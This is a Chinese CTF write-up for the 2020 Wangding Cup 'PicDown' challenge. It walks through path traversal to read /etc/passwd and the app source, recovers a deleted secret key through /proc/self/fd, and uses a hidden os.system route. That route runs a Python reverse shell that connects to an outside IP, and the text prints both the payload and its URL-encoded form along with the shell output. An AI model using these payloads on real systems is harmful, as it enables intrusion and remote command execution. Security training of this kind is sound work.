[网鼎杯 2020 白虎组]PicDown
打开网页发现输入文本框,有可能是读取文件,输入:
../../../../../etc/passwd
或者
/etc/passwd
文件用记事本打开后:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh
说明可以任意文件下载。
proc是什么?
系统中当前运行的每一个进程都有对应的一个目录在 proc 下,以进程的 PID 号为目录名,它们是读取进程信息的接口。而 self 目录则是读取进程本身的信息接口,是一个 link。
References
在/proc
文件系统中,每一个进程都有一个相应的文件。下面是/proc
目录下的一些重要文件,pid是进程的标号:
- /proc/pid/cmdline 是一个只读文件,包含进程的完整命令行信息
- /proc/pid/cwd 包含了当前进程工作目录的一个链接
- /proc/pid/environ 包含了可用进程环境变量的列表
- /proc/pid/exe 包含了正在进程中运行的程序链接
- /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接
- /proc/pid/mem 包含了进程在内存中的内容
- /proc/pid/stat 包含了进程的状态信息
- /proc/pid/statm 包含了进程的内存使用信息
References
https://blog.youkuaiyun.com/shenhuxi_yu/article/details/79697792
在文本框内输入:
/proc/self/cmdline
文件用记事本打开后:
python2 app.py
发现app.py
文件,在文本框内输入:
app.py
文件用记事本打开后:
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
路由/no_one_know_the_manager
页面下接收key
和shell
参数,要求key == SECRET_KEY
。但输入:
/tmp/secret.txt
访问不了。
f = open(SECRET_FILE)
这句话说明这个文件是被open
函数打开的,所以会创建文件描述符。程序读取完SECRET_KEY
会删除/tmp/secret.txt
,但在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(如os.remove(SECRET_FILE)
)删除之后,在/proc
这个进程的pid
目录下的fd
文件描述符目录下还是会有这个文件的fd
,通过这个我们即可得到被删除文件的内容。
文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。
References
网鼎杯白虎组web - PicDown_Arnoldqqq的博客-优快云博客
https://blog.youkuaiyun.com/SopRomeo/article/details/105653176
fd目录下保存的文件都是以数字存储的,用burp Suite爆破看看哪个数字的文件夹存在内容。
输入url:
/page?url=/proc/self/fd/3
文件用记事本打开后:
YjUCZEYHMahwnWQ0eqTAEX9QyvPLaJAkyS5+qPgMMPI=
这就是我们需要get上去的密钥。以下分两种方法反弹终端,请自行选用:
- 如果用BUUCTF自己的服务器:
用隐私窗口在BUUCTF
创建一个新账号,在Basic
分类开启Linux Labs
靶机,分配给我的ip为:node4.buuoj.cn:28088
,在本地shell
里输入命令:
ssh root@node4.buuoj.cn -p 28088
输入密码123456
。登陆后输入命令:
nc -lvvp 1515
在本地用ping
命令查看node4.buuoj.cn
对应的IP
地址
ping node4.buuoj.cn
经测试不知道为什么BUUCTF的服务器不可用。。
- 如果使用自己的公网服务器:
在本地用 ssh 登录自己的服务器。登陆后输入命令:
nc -lvvp 1515
在我这里ip
为101.35.126.83
,payload:
/no_one_know_the_mnager?key=YjUCZEYHMahwnWQ0eqTAEX9QyvPLaJAkyS5+qPgMMPI=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.35.126.83",1515));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
key和shell需要经过经过url编码:
/no_one_know_the_manager?key=YjUCZEYHMahwnWQ0eqTAEX9QyvPLaJAkyS5%2BqPgMMPI%3D&shell=python%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22101%2E35%2E126%2E83%22%2C1515%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27
此时,服务器端已经进入终端,显示:
Listening on [0.0.0.0] (family 0, port 1515)
Connection from 117.21.200.166 7684 received!
/bin/sh: 0: can't access tty; job control turned off
输入:
$ ls
app.py
flag.sh
requirements.txt
templates
发现flag.sh文件:
$ cat flag.sh
#!/bin/sh
head -c 32 /dev/urandom | base64 > /tmp/secret.txt
echo $FLAG > /fefewklfueiwflag
chown app:app /tmp/secret.txt
export FLAG=flag_not_here
FLAG=flag_not_here
rm -rf /flag.sh
但并没有flag,尝试读取根目录文件:
$ cat /flag
flag{7ed758a2-56cd-43bf-af30-8185f1f6dad4}
成功读取flag。
References
https://blog.youkuaiyun.com/rfrder/article/details/112310943
利用python -c
反弹shell
: